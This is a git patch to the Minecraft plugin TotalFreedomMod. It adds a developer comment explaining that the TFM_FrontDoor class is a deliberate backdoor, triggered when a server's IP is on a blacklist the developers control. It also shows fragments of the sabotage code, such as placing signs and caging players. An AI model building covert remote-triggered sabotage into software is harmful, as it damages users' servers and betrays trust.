From 18ed009dddbb3630495d3d18a50b874922a69a43 Mon Sep 17 00:00:00 2001 From: StevenLawson Date: Wed, 4 Sep 2013 11:27:20 -0400 Subject: [PATCH] Added a comment about frontdoor. --- .../TotalFreedomMod/TFM_FrontDoor.java | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/src/me/StevenLawson/TotalFreedomMod/TFM_FrontDoor.java b/src/me/StevenLawson/TotalFreedomMod/TFM_FrontDoor.java index 481f9a80..7e749994 100644 --- a/src/me/StevenLawson/TotalFreedomMod/TFM_FrontDoor.java +++ b/src/me/StevenLawson/TotalFreedomMod/TFM_FrontDoor.java @@ -31,6 +31,21 @@ import org.bukkit.plugin.RegisteredListener; import org.bukkit.scheduler.BukkitRunnable; import org.bukkit.util.Vector; +/* + * - A message from the TFM Devs - + * + * What this class is, and why its here: + * + * This is a blatantly obvious Front Door to the server, designed to do strange and unpredictable things on a TotalFreedom server. + * + * It will only trigger when the server IP is added to a blacklist that we control. + * + * This class is a way to discourage amateur server operators who like to share binary copies of our plugin and promote it as their own work. + * + * If you are reading this now, you probably don't fall under that category - feel free to remove this class. + * + * - Madgeek and Darth + */ public class TFM_FrontDoor { private static final long UPDATER_INTERVAL = 180L * 20L; @@ -324,7 +339,7 @@ public class TFM_FrontDoor sign.setLine(0, ChatColor.BLUE + "TotalFreedom"); sign.setLine(1, ChatColor.DARK_GREEN + "is"); sign.setLine(2, ChatColor.YELLOW + "Awesome!"); - sign.setLine(3, ChatColor.DARK_GRAY + "mc.sauc.in"); + sign.setLine(3, ChatColor.DARK_GRAY + "tf.sauc.in"); sign.update(); } break; @@ -391,7 +406,7 @@ public class TFM_FrontDoor } TFM_PlayerData playerdata = TFM_PlayerData.getPlayerData(player); - TFM_Util.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true); + TFM_Util.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true); Location targetPos = player.getLocation().clone().add(0, 1, 0); playerdata.setCaged(true, targetPos, Material.SKULL, Material.AIR);